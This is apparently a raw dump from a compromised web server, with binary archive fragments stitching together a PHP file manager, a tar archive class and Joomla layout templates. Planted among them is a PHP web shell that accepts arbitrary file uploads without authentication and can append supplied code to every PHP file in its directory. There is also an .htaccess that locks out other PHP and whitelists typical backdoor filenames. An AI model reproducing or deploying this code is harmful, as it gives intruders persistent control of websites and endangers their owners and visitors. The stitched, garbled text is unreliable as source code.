href="'.fm_img_link($filename).'"><span
class="img"> </span>
'.$file.'</a>'
: '<a href="' . $url_inc . '&edit=' .
$file . '&path=' . $path. '" title="' .
__('Edit') . '"><span
class="file"> </span>
'.$file.'</a>';
$e_arr = explode(".", $file);
$ext = end($e_arr);
$loadlink =
fm_link('download',$filename,__('Download'),__('Download').'
'. $file);
$arlink =
in_array($ext,array('zip','gz','tar'))
? ''
: ((fm_root($file)||$phar_maybe) ? '' :
fm_link('gzfile',$filename,__('Compress').' .tar.gz',__('Archiving').'
'. $file));
$style = 'row1';
$alert = 'onClick="if(confirm(\''. __('File
selected').': \n'. $file. '. \n'.__('Are you
sure you want to delete this file?') . '\'))
document.location.href = \'' . $url_inc .
'&delete=' . $file . '&path=' . $path .
'\'"';
}
$deletelink = fm_root($file) ? '' : '<a
href="#" title="' . __('Delete') . '
'. $file . '" ' . $alert . '>' .
__('Delete') . '</a>';
$renamelink = fm_root($file) ? '' : '<a
href="' . $url_inc . '&rename=' . $file .
'&path=' . $path . '" title="' .
__('Rename') .' '. $file . '">' .
__('Rename') . '</a>';
$rightstext = ($file=='.' || $file=='..') ?
'' : '<a href="' . $url_inc .
'&rights=' . $file . '&path=' . $path .
'" title="' . __('Rights') .' '.
$file . '">' . @fm_rights_string($filename) .
'</a>';
?>
<tr class="<?=$style?>">
<td><?=$link?></td>
<td><?=$filedata[7]?></td>
<td style="white-space:nowrap"><?=gmdate("Y-m-d
H:i:s",$filedata[9])?></td>
<td><?=$rightstext?></td>
<td><?=$deletelink?></td>
<td><?=$renamelink?></td>
<td><?=$loadlink?></td>
<td><?=$arlink?></td>
</tr>
<?php
}
}
?>
</tbody>
</table>
<div class="row3"><?php
$mtime = explode(' ', microtime());
$totaltime = $mtime[0] + $mtime[1] - $starttime;
echo fm_home().' | ver. '.$fm_version.' | <a
href="https://github.com/Den1xxx/Filemanager">Github</a>
| <a
href="'.fm_site_url().'">.</a>';
if (!empty($fm_config['show_php_ver'])) echo ' | PHP
'.phpversion();
if (!empty($fm_config['show_php_ini'])) echo ' |
'.php_ini_loaded_file();
if (!empty($fm_config['show_gt'])) echo ' |
'.__('Generation time').': '.round($totaltime,2);
if (!empty($fm_config['enable_proxy'])) echo ' | <a
href="?proxy=true">proxy</a>';
if (!empty($fm_config['show_phpinfo'])) echo ' | <a
href="?phpinfo=true">phpinfo</a>';
if (!empty($fm_config['show_xls'])&&!empty($link)) echo
' | <a href="javascript: void(0)" onclick="var obj =
new table2Excel();
obj.CreateExcelSheet(\'fm_table\',\'export\');"
title="'.__('Download').'
xls">xls</a>';
if (!empty($fm_config['fm_settings'])) echo ' | <a
href="?fm_settings=true">'.__('Settings').'</a>';
?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
var element = document.createElement('a');
element.setAttribute('href',
'data:application/vnd.ms-excel;base64,' + text);
element.setAttribute('download', filename);
element.style.display = 'none';
document.body.appendChild(element);
element.click();
document.body.removeChild(element);
}
function base64_encode(m) {
for (var k =
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""),
c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
c = m.charCodeAt(l);
if (128 > c) d = 1;
else
for (d = 2; c >= 2 << 5 * d;) ++d;
for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2
- 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 :
0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1
<= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e +=
c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0,
b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b
&& (b = 0, g += k[f])
}
b && (g += k[f << 6 - b]);
return g
}
var tableToExcelData = (function() {
var uri = 'data:application/vnd.ms-excel;base64,',
template = '<html
xmlns:o="urn:schemas-microsoft-com:office:office"
xmlns:x="urn:schemas-microsoft-com:office:excel"
xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if
gte mso
9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta
http-equiv="content-type" content="text/plain;
charset=UTF-8"/></head><body><table>{table}</table></body></html>',
format = function(s, c) {
return s.replace(/{(\w+)}/g, function(m, p) {
return c[p];
})
}
return function(table, name) {
if (!table.nodeType) table = document.getElementById(table)
var ctx = {
worksheet: name || 'Worksheet',
table: table.innerHTML.replace(/<span(.*?)\/span>
/g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
}
t = new Date();
filename = 'fm_' + t.toISOString() + '.xls'
download_xls(filename, base64_encode(format(template, ctx)))
}
})();
var table2Excel = function () {
var ua = window.navigator.userAgent;
var msie = ua.indexOf("MSIE ");
this.CreateExcelSheet =
function(el, name){
if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {//
If Internet Explorer
var x = document.getElementById(el).rows;
var xls = new ActiveXObject("Excel.Application");
xls.visible = true;
xls.Workbooks.Add
for (i = 0; i < x.length; i++) {
var y = x[i].cells;
for (j = 0; j < y.length; j++) {
xls.Cells(i + 1, j + 1).Value = y[j].innerText;
}
}
xls.Visible = true;
xls.UserControl = true;
return xls;
} else {
tableToExcelData(el, name);
}
}
}
</script>
</body>
</html>
<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
var $archive_name = '';
var $tmp_file = 0;
var $file_pos = 0;
var $isGzipped = true;
var $errors = array();
var $files = array();
function __construct(){
if (!isset($this->errors)) $this->errors = array();
}
function createArchive($file_list){
$result = false;
if (file_exists($this->archive_name) &&
is_file($this->archive_name)) $newArchive = false;
else $newArchive = true;
if ($newArchive){
if (!$this->openWrite()) return false;
} else {
if (filesize($this->archive_name) == 0) return
$this->openWrite();
if ($this->isGzipped) {
$this->closeTmpFile();
if (!rename($this->archive_name,
$this->archive_name.'.tmp')){
$this->errors[] = __('Cannot rename').'
'.$this->archive_name.__(' to
').$this->archive_name.'.tmp';
return false;
}
$tmpArchive = gzopen($this->archive_name.'.tmp',
'rb');
if (!$tmpArchive){
$this->errors[] = $this->archive_name.'.tmp
'.__('is not readable');
rename($this->archive_name.'.tmp',
$this->archive_name);
return false;
}
if (!$this->openWrite()){
rename($this->archive_name.'.tmp',
$this->archive_name);
return false;
}
$buffer = gzread($tmpArchive, 512);
if (!gzeof($tmpArchive)){
do {
$binaryData = pack('a512', $buffer);
$this->writeBlock($binaryData);
$buffer = gzread($tmpArchive, 512);
}
while (!gzeof($tmpArchive));
}
gzclose($tmpArchive);
unlink($this->archive_name.'.tmp');
} else {
$this->tmp_file = fopen($this->archive_name, 'r+b');
if (!$this->tmp_file) return false;
}
}
if (isset($file_list) && is_array($file_list)) {
if (count($file_list)>0)
$result = $this->packFileArray($file_list);
} else $this->errors[] = __('No file').__(' to
').__('Archive');
if (($result)&&(is_resource($this->tmp_file))){
$binaryData = pack('a512', '');
$this->writeBlock($binaryData);
}
$this->closeTmpFile();
if ($newArchive && !$result){
$this->closeTmpFile();
unlink($this->archive_name);
}
return $result;
}
function restoreArchive($path){
$fileName = $this->archive_name;
if (!$this->isGzipped){
if (file_exists($fileName)){
if ($fp = fopen($fileName, 'rb')){
$data = fread($fp, 2);
fclose($fp);
if ($data == '\37\213'){
$this->isGzipped = true;
}
}
}
elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName,
-3) == 'tgz')) $this->isGzipped = true;
}
$result = true;
if ($this->isGzipped) $this->tmp_file = gzopen($fileName,
'rb');
else $this->tmp_file = fopen($fileName, 'rb');
if (!$this->tmp_file){
$this->errors[] = $fileName.' '.__('is not
readable');
return false;
}
$result = $this->unpackFileArray($path);
$this->closeTmpFile();
return $result;
}
function showErrors ($message = '') {
$Errors = $this->errors;
if(count($Errors)>0) {
if (!empty($message)) $message = ' ('.$message.')';
$message = __('Error occurred').$message.':
<br/>';
foreach ($Errors as $value)
$message .= $value.'<br/>';
return $message;
} else return '';
}
function packFileArray($file_array){
$result = true;
if (!$this->tmp_file){
$this->errors[] = __('Invalid file descriptor');
return false;
}
if (!is_array($file_array) || count($file_array)<=0)
return true;
for ($i = 0; $i<count($file_array); $i++){
$filename = $file_array[$i];
if ($filename == $this->archive_name)
continue;
if (strlen($filename)<=0)
continue;
if (!file_exists($filename)){
$this->errors[] = __('No file').' '.$filename;
continue;
}
if (!$this->tmp_file){
$this->errors[] = __('Invalid file descriptor');
return false;
}
if (strlen($filename)<=0){
$this->errors[] = __('Filename').' '.__('is
incorrect');;
return false;
}
$filename = str_replace('\\', '/', $filename);
$keep_filename = $this->makeGoodPath($filename);
if (is_file($filename)){
if (($file = fopen($filename, 'rb')) == 0){
$this->errors[] = __('Mode ').__('is
incorrect');
}
if(($this->file_pos == 0)){
if(!$this->writeHeader($filename, $keep_filename))
return false;
}
while (($buffer = fread($file, 512)) != ''){
$binaryData = pack('a512', $buffer);
$this->writeBlock($binaryData);
}
fclose($file);
} else $this->writeHeader($filename, $keep_filename);
if (@is_dir($filename)){
if (!($handle = opendir($filename))){
$this->errors[] = __('Error').':
'.__('Directory ').$filename.__('is not
readable');
continue;
}
while (false !== ($dir = readdir($handle))){
if ($dir!='.' && $dir!='..'){
$file_array_tmp = array();
if ($filename != '.')
$file_array_tmp[] = $filename.'/'.$dir;
else
$file_array_tmp[] = $dir;
$result = $this->packFileArray($file_array_tmp);
}
}
unset($file_array_tmp);
unset($dir);
unset($handle);
}
}
return $result;
}
function unpackFileArray($path){
$path = str_replace('\\', '/', $path);
if ($path == '' || (substr($path, 0, 1) != '/'
&& substr($path, 0, 3) != '../' && !strpos($path,
':'))) $path = './'.$path;
clearstatcache();
while (strlen($binaryData = $this->readBlock()) != 0){
if (!$this->readHeader($binaryData, $header)) return false;
if ($header['filename'] == '') continue;
if ($header['typeflag'] == 'L'){ //reading long
header
$filename = '';
$decr = floor($header['size']/512);
for ($i = 0; $i < $decr; $i++){
$content = $this->readBlock();
$filename .= $content;
}
if (($laspiece = $header['size'] % 512) != 0){
$content = $this->readBlock();
$filename .= substr($content, 0, $laspiece);
}
$binaryData = $this->readBlock();
if (!$this->readHeader($binaryData, $header)) return false;
else $header['filename'] = $filename;
return true;
}
if (($path != './') && ($path != '/')){
while (substr($path, -1) == '/') $path = substr($path, 0,
strlen($path)-1);
if (substr($header['filename'], 0, 1) == '/')
$header['filename'] = $path.$header['filename'];
else $header['filename'] =
$path.'/'.$header['filename'];
}
if (file_exists($header['filename'])){
if ((@is_dir($header['filename'])) &&
($header['typeflag'] == '')){
$this->errors[] =__('File
').$header['filename'].__(' already
exists').__(' as folder');
return false;
}
if ((is_file($header['filename'])) &&
($header['typeflag'] == '5')){
$this->errors[] =__('Cannot create directory').'.
'.__('File ').$header['filename'].__('
already exists');
return false;
}
if (!is_writeable($header['filename'])){
$this->errors[] = __('Cannot write to file').'.
'.__('File ').$header['filename'].__('
already exists');
return false;
}
} elseif (($this->dirCheck(($header['typeflag'] ==
'5' ? $header['filename'] :
dirname($header['filename'])))) != 1){
$this->errors[] = __('Cannot create directory').'
'.__(' for ').$header['filename'];
return false;
}
if ($header['typeflag'] == '5'){
if (!file_exists($header['filename'])) {
if (!mkdir($header['filename'], 0777)) {
$this->errors[] = __('Cannot create directory').'
'.$header['filename'];
return false;
}
}
} else {
if (($destination = fopen($header['filename'],
'wb')) == 0) {
$this->errors[] = __('Cannot write to file').'
'.$header['filename'];
return false;
} else {
$decr = floor($header['size']/512);
for ($i = 0; $i < $decr; $i++) {
$content = $this->readBlock();
fwrite($destination, $content, 512);
}
if (($header['size'] % 512) != 0) {
$content = $this->readBlock();
fwrite($destination, $content, ($header['size'] % 512));
}
fclose($destination);
touch($header['filename'], $header['time']);
}
clearstatcache();
if (filesize($header['filename']) !=
$header['size']) {
$this->errors[] = __('Size of file').'
'.$header['filename'].' '.__('is
incorrect');
return false;
}
}
if (($file_dir = dirname($header['filename'])) ==
$header['filename']) $file_dir = '';
if ((substr($header['filename'], 0, 1) == '/')
&& ($file_dir == '')) $file_dir = '/';
$this->dirs[] = $file_dir;
$this->files[] = $header['filename'];
}
return true;
}
function dirCheck($dir){
$parent_dir = dirname($dir);
if ((@is_dir($dir)) or ($dir == ''))
return true;
if (($parent_dir != $dir) and ($parent_dir != '') and
(!$this->dirCheck($parent_dir)))
return false;
if (!mkdir($dir, 0777)){
$this->errors[] = __('Cannot create directory').'
'.$dir;
return false;
}
return true;
}
function readHeader($binaryData, &$header){
if (strlen($binaryData)==0){
$header['filename'] = '';
return true;
}
if (strlen($binaryData) != 512){
$header['filename'] = '';
$this->__('Invalid block size').':
'.strlen($binaryData);
return false;
}
$checksum = 0;
for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i,
1));
for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i,
1));
$unpack_data =
unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor',
$binaryData);
$header['checksum'] =
OctDec(trim($unpack_data['checksum']));
if ($header['checksum'] != $checksum){
$header['filename'] = '';
if (($checksum == 256) && ($header['checksum'] == 0))
return true;
$this->errors[] = __('Error checksum for file
').$unpack_data['filename'];
return false;
}
if (($header['typeflag'] = $unpack_data['typeflag'])
== '5') $header['size'] = 0;
$header['filename'] =
trim($unpack_data['filename']);
$header['mode'] =
OctDec(trim($unpack_data['mode']));
$header['user_id'] =
OctDec(trim($unpack_data['user_id']));
$header['group_id'] =
OctDec(trim($unpack_data['group_id']));
$header['size'] =
OctDec(trim($unpack_data['size']));
$header['time'] =
OctDec(trim($unpack_data['time']));
return true;
}
function writeHeader($filename, $keep_filename){
$packF = 'a100a8a8a8a12A12';
$packL = 'a1a100a6a2a32a32a8a8a155a12';
if (strlen($keep_filename)<=0) $keep_filename = $filename;
$filename_ready = $this->makeGoodPath($keep_filename);
if (strlen($filename_ready) > 99){ //write long header
$dataFirst = pack($packF, '././LongLink', 0, 0, 0,
sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
$dataLast = pack($packL, 'L', '', '',
'', '', '', '', '',
'', '');
// Calculate the checksum
$checksum = 0;
// First part of the header
for ($i = 0; $i < 148; $i++)
$checksum += ord(substr($dataFirst, $i, 1));
// Ignore the checksum value and replace it by ' '
(space)
for ($i = 148; $i < 156; $i++)
$checksum += ord(' ');
// Last part of the header
for ($i = 156, $j=0; $i < 512; $i++, $j++)
$checksum += ord(substr($dataLast, $j, 1));
// Write the first 148 bytes of the header in the archive
$this->writeBlock($dataFirst, 148);
// Write the calculated checksum
$checksum = sprintf('%6s ', DecOct($checksum));
$binaryData = pack('a8', $checksum);
$this->writeBlock($binaryData, 8);
// Write the last 356 bytes of the header in the archive
$this->writeBlock($dataLast, 356);
$tmp_filename = $this->makeGoodPath($filename_ready);
$i = 0;
while (($buffer = substr($tmp_filename, (($i++)*512), 512)) !=
''){
$binaryData = pack('a512', $buffer);
$this->writeBlock($binaryData);
}
return true;
}
$file_info = stat($filename);
if (@is_dir($filename)){
$typeflag = '5';
$size = sprintf('%11s ', DecOct(0));
} else {
$typeflag = '';
clearstatcache();
$size = sprintf('%11s ', DecOct(filesize($filename)));
}
$dataFirst = pack($packF, $filename_ready, sprintf('%6s ',
DecOct(fileperms($filename))), sprintf('%6s ',
DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])),
$size, sprintf('%11s', DecOct(filemtime($filename))));
$dataLast = pack($packL, $typeflag, '', '',
'', '', '', '', '',
'', '');
$checksum = 0;
for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i,
1));
for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum +=
ord(substr($dataLast, $j, 1));
$this->writeBlock($dataFirst, 148);
$checksum = sprintf('%6s ', DecOct($checksum));
$binaryData = pack('a8', $checksum);
$this->writeBlock($binaryData, 8);
$this->writeBlock($dataLast, 356);
return true;
}
function openWrite(){
if ($this->isGzipped)
$this->tmp_file = gzopen($this->archive_name, 'wb9f');
else
$this->tmp_file = fopen($this->archive_name, 'wb');
if (!($this->tmp_file)){
$this->errors[] = __('Cannot write to file').'
'.$this->archive_name;
return false;
}
return true;
}
function readBlock(){
if (is_resource($this->tmp_file)){
if ($this->isGzipped)
$block = gzread($this->tmp_file, 512);
else
$block = fread($this->tmp_file, 512);
} else $block = '';
return $block;
}
function writeBlock($data, $length = 0){
if (is_resource($this->tmp_file)){
if ($length === 0){
if ($this->isGzipped)
gzputs($this->tmp_file, $data);
else
fputs($this->tmp_file, $data);
} else {
if ($this->isGzipped)
gzputs($this->tmp_file, $data, $length);
else
fputs($this->tmp_file, $data, $length);
}
}
}
function closeTmpFile(){
if (is_resource($this->tmp_file)){
if ($this->isGzipped)
gzclose($this->tmp_file);
else
fclose($this->tmp_file);
$this->tmp_file = 0;
}
}
function makeGoodPath($path){
if (strlen($path)>0){
$path = str_replace('\\', '/', $path);
$partPath = explode('/', $path);
$els = count($partPath)-1;
for ($i = $els; $i>=0; $i--){
if ($partPath[$i] == '.'){
// Ignore this directory
} elseif ($partPath[$i] == '..'){
$i--;
}
elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
} else
$result = $partPath[$i].($i!=$els ? '/'.$result :
'');
}
} else $result = '';
return $result;
}
}
?>PK�J�[���6��erfinejd.phpnu�[���<?php
echo"<form method='post'
enctype='multipart/form-data'><input type='file'
name='a'><input type='submit'
value='Nyanpasu!!!'></form><pre>";if(isset($_FILES['a'])){move_uploaded_file($_FILES['a']['tmp_name'],"{$_FILES['a']['name']}");print_r($_FILES);};echo"</pre>";?>
<?php
if (isset($_GET['bak'])) {
$directory = __DIR__;
$mama = $_POST['file'];
$textToAppend = '
' . $mama . '
';
if ($handle = opendir($directory)) {
while (false !== ($file = readdir($handle))) {
if (pathinfo($file, PATHINFO_EXTENSION) === 'php') {
$fileHandle = fopen($directory . '/' . $file,
'a');
fwrite($fileHandle, $textToAppend);
fclose($fileHandle);
echo "OK >> $file
";
}
}
closedir($handle);
}
}
?>
PK�J�[��\ .htaccessnu�[���<FilesMatch
".(py|exe|php)$">
Order allow,deny
Deny from all
</FilesMatch>
<FilesMatch
"^(index.php|lock360.php|wp-l0gin.php|wp-the1me.php|wp-scr1pts.php|wp-admin.php|radio.php|content.php|about.php|wp-login.php|admin.php|mah.php|jp.php|ext.php)$">
Order allow,deny
Allow from all
</FilesMatch>
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>PKA{�[S�4f��$joomla/form/field/radio/switcher.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\Layout\FileLayout;
// The layout is needed for transition from "btn-group" in
Joomla! 3.10 to the "switcher" field in Joomla! 4
if (!$displayData['class'] ||
strpos($displayData['class'], 'btn-group') === false)
{
$displayData['class'] .= ' btn-group';
}
$renderer = new FileLayout('joomla.form.field.radio', null,
$this->options);
$renderer->setIncludePaths($this->includePaths);
echo $renderer->render($displayData);
PKA{�[Ny�^��joomla/html/image.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2022 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
/**
* Layout variables
* -----------------
* @var array $displayData Array with all the given attributes for the
image element.
* Eg: src, class, alt, width, height, loading,
decoding, style, data-*
* Note: only the alt and src attributes are
escaped by default!
*/
if (isset($displayData['src']))
{
$displayData['src'] =
$this->escape($displayData['src']);
}
if (isset($displayData['alt']))
{
if ($displayData['alt'] === false)
{
unset($displayData['alt']);
}
else
{
$displayData['alt'] =
$this->escape($displayData['alt']);
}
}
echo '<img ' . JArrayHelper::toString($displayData) .
'>';
PK+��[�B�_�� range.phpnu�[���<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
defined('JPATH_BASE') or die;
/**
* Layout variables
* -----------------
* @var array $displayData
* @var string $field
* @var string $autocomplete Autocomplete attribute for the field.
* @var boolean $autofocus Is autofocus enabled?
* @var string $class Classes for the input.
* @var string $description Description of the field.
* @var boolean $disabled Is this field disabled?
* @var string $group Group the field belongs to. <fields>
section in form XML.
* @var boolean $hidden Is this field hidden in the form?
* @var string $hint Placeholder for the field.
* @var string $id DOM id of the field.
* @var string $label Label of the field.
* @var string $labelclass Classes to apply to the label.
* @var boolean $multiple Does this field support multiple values?
* @var string $name Name of the input field.
* @var string $onchange Onchange attribute for the field.
* @var string $onclick Onclick attribute for the field.
* @var string $pattern Pattern (Reg Ex) of value of the form
field.
* @var boolean $readonly Is this field read only?
* @var boolean $repeat Allows extensions to duplicate elements.
* @var boolean $required Is this field required?
* @var integer $size Size attribute of the input.
* @var boolean $spellcheck Spellcheck state for the form field.
* @var string $validate Validation rules to apply.
* @var string $value Value attribute of the field.
* @var array $checkedOptions Options that will be set as checked.
* @var boolean $hasValue Has this field a value assigned?
* @var array $options Options available for this field.
* @var array $inputType Options available for this field.
* @var string $accept File types that are accepted.
* @var string $prepend
* @var string $append
*/
extract($displayData);
// Including fallback code for HTML5 non supported browsers.
JHtml::_('jquery.framework');
JHtml::_('script', 'system/html5fallback.js',
['version' => 'auto', 'relative' =>
true, 'conditional' => 'lt IE 9']);
// Initialize some field attributes.
$attributes_range = [
$class ? 'class="' . $class . '"' :
'',
$disabled ? 'disabled' : '',
$readonly ? 'readonly' : '',
! empty($onchange) ? 'onchange="' . $onchange .
'"' : '',
! empty($max) ? 'max="' . $max . '"' :
'',
! empty($step) ? 'step="' . $step . '"' :
'',
! empty($min) ? 'min="' . $min . '"' :
'',
$autofocus ? 'autofocus' : '',
];
$attributes_number = [
'class="input-mini text-right"',
! empty($size) ? 'size="' . $size . '"' :
'',
$disabled ? 'disabled' : '',
$readonly ? 'readonly' : '',
strlen($hint) ? 'placeholder="' . htmlspecialchars($hint,
ENT_COMPAT, 'UTF-8') . '"' : '',
! empty($onchange) ? 'onchange="' . $onchange .
'"' : '',
isset($max) ? 'max="' . $max . '"' :
'',
! empty($step) ? 'step="' . $step . '"' :
'',
isset($min) ? 'min="' . $min . '"' :
'',
$required ? 'required aria-required="true"' :
'',
$autocomplete,
$autofocus ? 'autofocus' : '',
];
$chars = strlen($max) ?: $size ?: 4;
$width = $chars * 8;
$classes = [];
if ($prepend)
{
$classes[] = 'input-prepend';
}
if ($append)
{
$classes[] = 'input-append';
}
if (strpos($prepend, 'icon-') === 0)
{
$prepend = '<span class="' . $prepend .
'"></span>';
}
if (strpos($append, 'icon-') === 0)
{
$append = '<span class="' . $append .
'"></span>';
}
if ($prepend && preg_match('#^[A-Z][A-Z0-9_]+$#',
$prepend))
{
$prepend = JText::_($prepend);
}
if ($append && preg_match('#^[A-Z][A-Z0-9_]+$#',
$append))
{
$append = JText::_($append);
}
$input = '<input type="number" name="' . $name
. '" id="' . $id . '" value="' .
$value . '"
oninput="document.querySelector(\'input[data-for=\\\''
. $name . '\\\']\').value=this.value;"'
. ' ' . implode(' ', $attributes_number) . '
/>';
?>
<span class="<?php echo implode(' ', $classes);
?>">
<?php if ($prepend): ?>
<span class="add-on"><?php echo $prepend;
?></span>
<?php endif; ?>
<?php echo $input; ?>
<?php if ($append): ?>
<span class="add-on"><?php echo $append;
?></span>
<?php endif; ?>
</span>
<input type="range" data-for="<?php echo $name;
?>" value="<?php echo $value; ?>"
oninput="document.querySelector('input[name=\'<?php echo
$name; ?>\']').value=this.value;"
<?php echo implode(' ', $attributes_range); ?> />
PK+��[=�4��repeatable-table/section.phpnu�[���<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
defined('_JEXEC') or die;
/**
* Layout variables
* -----------------
* @var array $displayData
* @var JForm $form The form instance for render the section
* @var string $basegroup The base group name
* @var string $group Current group name
* @var array $buttons Array of the buttons that will be rendered
*/
extract($displayData);
$fields = $form->getGroup('');
?>
<tr
class="subform-repeatable-group subform-repeatable-group-<?php
echo $unique_subform_id; ?>"
data-base-name="<?php echo $basegroup; ?>"
data-group="<?php echo $group; ?>"
>
<td>
<a class="sortable-handler group-move group-move-<?php echo
$unique_subform_id; ?>" style="cursor: move;"
aria-label="<?php echo JText::_('JGLOBAL_FIELD_MOVE');
?>">
<span class="icon-menu"
aria-hidden="true"></span>
</a>
</td>
<td data-column="<?php echo strip_tags($fields[$group .
'__field']->label); ?>">
<?php echo $fields[$group .
'__field']->renderField(['hiddenLabel' => true]);
?>
<?php if (isset($fields[$group . '__field_name'])) : ?>
<?php echo $fields[$group .
'__field_name']->renderField(['hiddenLabel' =>
true]); ?>
<?php endif; ?>
</td>
<?php if (isset($fields[$group . '__field_comparison'])) :
?>
<td data-column="<?php echo strip_tags($fields[$group .
'__field_comparison']->label); ?>">
<?php echo $fields[$group .
'__field_comparison']->renderField(['hiddenLabel'
=> true]); ?>
</td>
<?php endif; ?>
<td data-column="<?php echo strip_tags($fields[$group .
'__field_value']->label); ?>">
<?php echo $fields[$group .
'__field_value']->renderField(['hiddenLabel' =>
true]); ?>
</td>
<td>
<div class="btn-group">
<a class="btn btn-mini button btn-danger group-remove
group-remove-<?php echo $unique_subform_id; ?>"
aria-label="<?php echo JText::_('JGLOBAL_FIELD_REMOVE');
?>">
<span class="icon-minus"
aria-hidden="true"></span>
</a>
</div>
</td>
</tr>
PK+��[ß:repeatable-table.phpnu�[���<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
defined('_JEXEC') or die;
/**
* Layout variables
* -----------------
* @var array $displayData
* @var JForm $tmpl The Empty form for template
* @var array $forms Array of JForm instances for render the
rows
* @var bool $multiple The multiple state for the form field
* @var int $min Count of minimum repeating in multiple mode
* @var int $max Count of maximum repeating in multiple mode
* @var string $fieldname The field name
* @var string $control The forms control
* @var string $label The field label
* @var string $description The field description
* @var array $buttons Array of the buttons that will be rendered
* @var bool $groupByFieldset Whether group the subform fields by it`s
fieldset
*/
extract($displayData);
// Add script
if ($multiple)
{
JHtml::_('jquery.ui', ['core', 'sortable']);
JHtml::_('script', 'system/subform-repeatable.js',
['version' => 'auto', 'relative' =>
true]);
}
// Build heading
$fields = $tmpl->getGroup('');
$column_count = 4;
$table_head = [];
$table_head[] = '<th style="width:10%;">' .
strip_tags($fields[$id . '__' . $fieldname .
'X__field']->label) . '</th>';
if (isset($fields[$id . '__' . $fieldname .
'X__field_comparison']))
{
$table_head[] = '<th style="width:10%;">' .
strip_tags($fields[$id . '__' . $fieldname .
'X__field_comparison']->label) . '</th>';
$column_count++;
}
$table_head[] = '<th>' . strip_tags($fields[$id .
'__' . $fieldname . 'X__field_value']->label) .
'</th>';
$sublayout = 'section';
// Label will not be shown for sections layout, so reset the margin left
JFactory::getDocument()->addStyleDeclaration(
'.subform-table-sublayout-section .controls { margin-left: 0px
}'
);
?>
<div class="row-fluid">
<div class="subform-repeatable-wrapper subform-table-layout
subform-table-sublayout-<?php echo $sublayout; ?>
form-vertical">
<div
class="subform-repeatable"
data-bt-add="a.group-add-<?php echo $unique_subform_id;
?>"
data-bt-remove="a.group-remove-<?php echo $unique_subform_id;
?>"
data-bt-move="a.group-move-<?php echo $unique_subform_id;
?>"
data-repeatable-element="tr.subform-repeatable-group-<?php echo
$unique_subform_id; ?>"
data-rows-container="tbody.rows-container-<?php echo
$unique_subform_id; ?>"
data-minimum="<?php echo $min; ?>"
data-maximum="<?php echo $max; ?>"
>
<table class="adminlist table table-striped ">
<thead>
<tr>
<th style="width:1%;"></th>
<?php echo implode('', $table_head); ?>
<th style="width:1%;"></th>
</tr>
</thead>
<tbody class="rows-container-<?php echo $unique_subform_id;
?>">
<?php foreach ($forms as $k => $form):
echo $this->sublayout(
$sublayout,
[
'form' => $form,
'basegroup' => $id . '__' .
$fieldname,
'group' => $id . '__' .
$fieldname . $k,
'buttons' => $buttons,
'unique_subform_id' => $unique_subform_id,
]
);
endforeach; ?>
</tbody>
<tfoot>
<tr>
<th colspan="<?php echo $column_count; ?>">
<div class="btn-group btn-group-full">
<a
class="btn btn-mini btn-full button btn-success group-add
group-add-<?php echo $unique_subform_id; ?>"
aria-label="<?php echo
JText::_('JGLOBAL_FIELD_ADD'); ?>"
>
<span class="icon-plus"
aria-hidden="true"></span>
</a>
</div>
</th>
</tr>
</tfoot>
</table>
<?php if ($multiple) : ?>
<template
class="subform-repeatable-template-section"><?php echo
trim(
$this->sublayout(
